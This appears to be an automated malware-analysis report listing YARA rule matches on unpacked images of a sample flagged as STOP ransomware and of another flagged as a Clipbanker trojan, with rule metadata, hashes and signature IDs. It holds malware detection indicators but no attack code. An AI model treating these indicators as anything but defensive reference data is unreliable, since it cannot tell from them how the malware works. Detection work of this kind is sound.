Source: 0.2.U59WtZz2Sg.exe.22215a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 6.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 6.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 6.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.U59WtZz2Sg.exe.21a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 5.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.build3.exe.b90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 11.2.build3.exe.b90000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 9.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.U59WtZz2Sg.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 9.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.U59WtZz2Sg.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.U59WtZz2Sg.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 1.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 1.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 1.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.0.U59WtZz2Sg.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 17.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.U59WtZz2Sg.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 5.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 5.0.U59WtZz2Sg.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
